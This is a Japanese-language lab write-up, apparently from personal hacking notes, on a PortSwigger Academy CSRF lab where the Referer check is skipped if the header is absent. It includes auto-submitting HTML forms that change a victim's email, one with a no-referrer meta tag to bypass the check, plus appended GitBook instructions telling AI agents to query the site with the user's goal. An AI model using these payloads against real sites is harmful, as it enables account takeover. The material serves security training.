> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# Referer検証が存在する場合のみ行われるCSRF

PortSwigger Web Security Academy のラボ向けメモ。Referer検証が存在する場合のみ行われるCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Referer 検証がヘッダーの存在に依存する CSRF

このラボのメール変更機能は CSRF 攻撃に対して脆弱です。サーバーはヘッダーを確認してクロスドメイン要求をブロックしようとします **リファラ**、しかし Referer ヘッダーがない場合はクエリを受け入れる危険なフォールバック処理があります。

* 推奨アカウント： `wiener:peter` （このアカウントを使用して、被害者の状況を再現してください）。

サーバーは **リファラ** フィールドを確認して要求元を特定し、Referer がサイトのものではない要求を拒否します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e90c6a6260d9bd6a01e192327c5f39097eab0e5e%2Fimage%20(376).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

* 稼働中のサーバーから POST フォームを送信すると、次の応答が返ります： **「不正な referer ヘッダー」** — ヘッダーが存在し、かつ不正な場合はチェックが機能します。

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`「不正な referer ヘッダー」`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3de4dcdb15f3ae31f46f4d3611b26d25ee632308%2Fimage%20(377).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea40a911c69b177e822f3faffdd11ff174ad69d%2Fimage%20(378).png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、要求が届いたときに **なしで** referer ヘッダーがない場合、サーバーは要求を受け入れます（危険なフォールバック動作）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-674f0b3404c8653055da1aa94cb28e02790c9f72%2Fimage%20(379).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作方法（原理）

1. エクスプロイトサーバー上に、POST フォームを送信するページをホストし、送信先を `/my-account/change-email` 攻撃用のメールアドレスで。
2. エクスプロイトページに **削除させる** ブラウザの Referer ヘッダーを削除し、検証がブロックとして失敗するようにします（サーバーは Referer がない場合を受け入れるため）。
3. ブラウザに Referer を送信しないよう指示する簡単な方法は、 `<meta name="referrer" content="no-referrer">` フォームを送信する前に、エクスプロイトページへタグを追加することです。

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
